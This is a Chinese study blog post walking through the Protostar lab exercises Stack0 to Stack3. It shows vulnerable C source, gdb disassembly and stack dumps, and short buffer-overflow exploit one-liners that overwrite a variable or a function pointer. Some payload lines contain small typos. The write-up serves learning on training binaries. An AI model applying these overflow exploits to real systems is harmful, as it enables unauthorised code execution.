快速刷通PWN的第一天
计划
声明
:因为是自己学习的一个计划,所以可能并不是适用于所有人。但是尽可能考虑到由浅入深,由易到难。
一个比较推荐的二进制方面的课程是
Live Overflow
的
Binary Hacking
课程,原版的视频是放在 YouTube 上的,但是有好心的小伙伴直接放在了
B 站
上,方便大家学习。整个课程讲的非常浅显易懂,并且会带着你一步一步从零开始了解二进制的很多内容,
强烈安利
!考虑到最近有一次面向新手的技术分享,所以放在最开始,将结合一部分
Binary Hacking
课程和
Exploit-exercises
(对于该部分的介绍将放入笔记正文中)的内容总结分享出来。
笔记
Exploit-exercises 介绍及笔记思路分析(不感兴趣的同学可直接跳入正文)
首先推荐一个练习平台:
https://exploit-exercises.lains.space
这个平台主要包括了
Nebula 、Protostar、Fusion
等几个部分。基本顺序为
Nebula->Protostar->Fusion
。官网上给了每个部分的虚拟机下载地址,但是下载速度可能非常慢,所以可以从
vulnhub
(不是 P 神的
vulhub
,vulhub 是偏向学 Web 的,对 Web 感兴趣的同学可以看看)上的镜像站点下载。
Nebula
介绍了一些非常常见的 Linux 下的概念和漏洞,学习完成 Nebula 将会对于 Linux 的本地攻击有一个
相当透彻的了解
(好吧,官网上自己号称的),并且可以粗略地了解一下远程攻击。这里给一份大佬放在 Github 上的 Nebula 部分的笔记:
1u4nx
/
Exploit-Exercises-Nebula
,感兴趣的小伙伴可以参考着去做。个人认为,如果对于 Linux 及相关漏洞没有过多了解,可以先从 Nebula 入手学习,如果有了一定的了解,就可以跳过 Nebula,直接进入下一阶段的 Protostar。
Protostar
是 Nebula 的下一个阶段,会介绍一些基本的内存损坏问题,例如
没有开启保护
下的 Linux 下的缓冲区溢出、格式化字符串漏洞和堆利用。个人认为这个模式是非常好的模式,因为对于新手而言,
重要的不是做 PWN 题,而是清晰地理解底层原理
,PWN 题只是一个学习的手段而已。所以虽然本系列笔记叫做快速刷通 PWN,但并不会以上来就会那一堆题目上手去刷题,那样只会流于表面的做题套路,而容易忽视真正的有价值的底层原理。
欲速则不达,要想快就先慢
。所以本系列笔记会从 Protostar 入手来去学习相关基础知识。
Fusion
**
是 Protostar 的下一阶段,依然还是注重内存破坏、格式化字符串和堆利用,但是重点关注更高级的方案和在现代保护系统中的利用(即
开启了各种保护**的情况下如何利用)。
所以,
在本系列笔记的开始,甚至较长一段时间的开始,你会发现并没有去做任何一道 CTF 比赛中的 PWN 题
,因为现有的 CTF PWN 题天然的自带逆向,其本质还是看源码,理解漏洞原理,所以我们跳过前面的一个逆向步骤,直接学习原理,完成之后再去带上逆向这一部分,这样能够更加
节省学习时间和成本
。
Tips
:
-
有关栈相关基础知识可以参考:
C语言函数调用栈(一)
和
C语言函数调用栈(二)
-
有关栈溢出相关基础知识可以参考:
CTF Wiki-栈溢出原理
正文
Stack0
题目源码如下:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}
经典的栈溢出,危险函数是
gets()
,所以根据栈帧结构我们可以知道,如果
buffer
变量输入过长又没有经过校验会导致栈溢出,然后可以溢出覆盖掉局部变量
modified
。通常来讲,这个题的WP就写完了,然而…考虑到小白同学不知道在说什么,所以开始会一步步分析,并且讲一些常用操作(大佬们请直接 pass)。
首先说一下代码逻辑,在
main
函数中定义了两个变量,一个是
volatile int
型(这里插一句,
volatile
告诉编译器,该变量不允许被优化消失(optimized out),因为有可能编译器优化之后会删除一些他认为不需要的条件跳转等其他情况,会强制编译器保持原样;具体可参考知乎上的这篇回答:
谈谈 C/C++ 中的 volatile
),一个是个
char
型的数组,长度为 64,然后将
modified
至0,并用
gets()
获取输入,放置到
buffer
数组中,然后后面的条件判断
modified
是否不等于 0,如果不等于就成功,等于就不成功。代码中并没有改变
modified
值的地方,所以需要溢出来完成修改局部变量。
用 gdb 调试一下这个程序(这里先不用 peda,只用原生 gdb,保持和实验环境的一致性):
gdb stack0
(gdb) set disassembly-flavor intel # 更改显示指令集,默认是AT&T
(gdb) break *main # 在 main 函数处下断点
(gdb) disassemble main # 反汇编 main 函数
Dump of assembler code for function main:
0x080483f4 <main+0>: push ebp
0x080483f5 <main+1>: mov ebp,esp
0x080483f7 <main+3>: and esp,0xfffffff0
0x080483fa <main+6>: sub esp,0x60
0x080483fd <main+9>: mov DWORD PTR [esp+0x5c],0x0 # modified的位置在这里->DWORD PTR [esp+0x5c]
0x08048405 <main+17>: lea eax,[esp+0x1c] # buffer 的位置在这里->[esp+0x1c]
0x08048409 <main+21>: mov DWORD PTR [esp],eax
0x0804840c <main+24>: call 0x804830c <gets@plt>
0x08048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x08048415 <main+33>: test eax,eax
0x08048417 <main+35>: je 0x8048427 <main+51>
0x08048419 <main+37>: mov DWORD PTR [esp],0x8048500
0x08048420 <main+44>: call 0x804832c <puts@plt>
0x08048425 <main+49>: jmp 0x8048433 <main+63>
0x08048427 <main+51>: mov DWORD PTR [esp],0x8048529
0x0804842e <main+58>: call 0x804832c <puts@plt>
0x08048433 <main+63>: leave
0x08048434 <main+64>: ret
End of assembler dump.
由汇编代码我们可以看出
buffer
和
modified
的距离,为
0x5c-0x1c=0x40=64
,所以我们只需要输入超过64个字符即可覆盖到
modified
的位置。所以直接用python生成定长字符串给程序作为输入即可。
python -c 'print("A"*(4+16*3+14))' |./stack0
正常来讲,到上面题已经做完了,但是我还想稍微用一下 gdb 做动态调试,以方便大家使用。
(gdb) b *0x08048411 # 在0x08048411处下断点,b是break的简写
(gdb) define hook-stop # 定义一下hook函数,用于定义在每次中断的时候,做哪些操作(不用我们每次手打了,类似于peda的功能)
Type commands for definition of "hook-stop".
End with a line saying just "end".
>x/24wx $esp
>x/2i $eip
>end
(gdb) r
(gdb) c
Continuing.
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN
0xbffff750: 0xbffff76c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff760: 0xb7fd7ff4 0xb7ec6165 0xbffff778 0x41414141
0xbffff770: 0x42424242 0x43434343 0x44444444 0x45454545
0xbffff780: 0x46464646 0x47474747 0x48484848 0x49494949
0xbffff790: 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c 0x4d4d4d4d
0xbffff7a0: 0x4e4e4e4e 0xb7ff1000 0x0804845b 0x00000000
0x8048411 <main+29>: mov eax,DWORD PTR [esp+0x5c]
0x8048415 <main+33>: test eax,eax
可以清楚地看到我们的输入字符在栈中的位置(每组四个相同字母是为了更清晰地判断覆盖到哪一位了),我们发现距离
0x00000000
还有一段距离,所以补齐即可。这样如果不想看汇编代码去算的话,可以通过打印栈,然后数数的方式来去计算偏移,更加直观。还有
hook
函数的定义方式,也有一定的参考意义。
Stack1 & Stack2
Stack1 和 Stack2 与 Stack0 差别不大,所以不做详细赘述,这里只给出示例解答,感兴趣的小伙伴可自行完成或者参考。
# Stack1
python -c $'import struct\nprint("A"*(64)+struct.pack("I",0x61626364))' |xargs ./stack1
# Stack2
export GREENIE=$(python -c $'import struct\nprint("A"*(64)+struct.pack("I",0x0d0 a0d0a))') && ./stack2
Stack3
题目源码如下:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void win()
{
printf("code flow successfully changed\n");
}
int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];
fp = 0;
gets(buffer);
if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}
相比较于之前的题目单纯覆盖局部变量,这道题需要去调用一个主函数中没有调用的“野函数”
win()
。其中
fp
是函数指针,如果
fp
不为 0 的话,就会调用
fp
指向的函数,并打印地址。那么还是根据堆栈结构,我们可以知道,用
win()
函数的地址覆盖
fp
变量就可以,所以先在的问题就简化成了:1. 偏移量是多少;2.
win()
函数的地址是什么;我们还是用 gdb 来去调试一下,不断熟悉相关操作。
gdb stack3
(gdb) x win
0x8048424 <win>: 0x83e58955 # 我们可以知道 win() 函数的地址是 0x8048424
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
0x08048438 <main+0>: push ebp
0x08048439 <main+1>: mov ebp,esp
0x0804843b <main+3>: and esp,0xfffffff0
0x0804843e <main+6>: sub esp,0x60
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0 # fp 的位置在这里->DWORD PTR [esp+0x5c]
0x08048449 <main+17>: lea eax,[esp+0x1c] # buffer 的位置在这里->[esp+0x1c]
0x0804844d <main+21>: mov DWORD PTR [esp],eax
0x08048450 <main+24>: call 0x8048330 <gets@plt>
0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov eax,0x8048560
0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <main+49>: mov DWORD PTR [esp],eax
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>: call eax # 调用fp所指向的函数,所以我们可以在这里下断点,查看eax的值是多少
0x08048477 <main+63>: leave
0x08048478 <main+64>: ret
End of assembler dump.
(gdb) b *0x08048475
Breakpoint 1 at 0x8048475: file stack3/stack3.c, line 22.
(gdb) r
Starting program: /opt/protostar/bin/stack3
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ
...
(gdb) info registers # 查看寄存器的值
eax 0x51515151 1364283729 # 可以看到这里的eax寄存器的值是0x51515151,即`QQQQ`
ecx 0x0 0
edx 0xb7fd9340 -1208118464
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7b8 0xbffff7b8
esi 0x0 0
edi 0x0 0
eip 0x8048475 0x8048475 <main+61>
eflags 0x200296 [ PF AF SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
所以我们知道了偏移量为
0x5c-0x1c=0x40=64
(当然,可以直接下断点,查看
eax
寄存器的值,如上述代码中的示例),win() 函数的地址为
0x8048424
,所以现在可以写
exp
了,需要注意的一点是实验机是小端系统,所以地址要按照小端的格式放入栈中,
exp
如下:
# stack.py
padding = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP"
padding += "\x24\x84\04\x08" # 0x8048424 在这里注意大小端
print(padding)
python stack.py > exp
./stack3 < ~/exp # 将exp文件中的内容重定向作为前一个文件的标准输入
总结
-
今天大概了解了一下
Exploit-exercises
网站,过了一下
Protostar
上的前四道题目。 - 学习了基础栈溢出原理,能够做到在无保护的情况下通过各种输入覆盖局部变量。
-
学习了一下
gdb
的常用指令,包括下断点、查看反汇编代码、查看函数地址、
定义断点 hook 函数
、查看寄存器的值等指令。
预估学习时间:
3 个小时(当然包含了写笔记的时间,写笔记也是强化记忆的一种方式)。
明天五一假期!哦不是今天!